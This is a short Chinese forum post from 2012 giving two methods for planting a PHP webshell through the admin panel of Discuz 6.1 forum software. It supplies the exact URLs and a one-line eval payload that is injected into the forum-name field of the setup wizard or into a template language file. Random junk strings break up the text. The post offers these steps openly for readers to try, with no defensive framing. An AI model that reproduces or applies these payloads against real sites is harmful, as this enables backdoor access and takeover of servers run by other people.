discuz6.1两种方法后台拿shell
: B$ O& t$ y7 I4 s3 C好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
- u6 O" L8 v! k& I& ]1:4 [' f, ?) i; A' I, J( F9 R
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
6 D# _6 [2 s9 o' E% b0 ]7 Nadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell9 Z4 x9 b$ j* ?' i
<?php eval($_POST[cmd]);?>
( w/ ^9 U) C$ p: P后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
- k( q! i6 Q9 t; W6 p8 s; ?$ n5 S0 t! @. f q
- r0 C, C( ^. w/ q# B3 W3 S
2:后台模板管理--默认模板套系--详情7 _1 A8 ~5 \; N3 E, l( A1 K6 b' A* r
templates/default/actions.lang.php1 E4 C+ I4 Z2 L! ^" F
jhackj\\');eval($_POST[cmd])?>;//, H8 b$ t% O B: y9 J6 X# s4 }
4 I% a5 p6 ], O" e
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对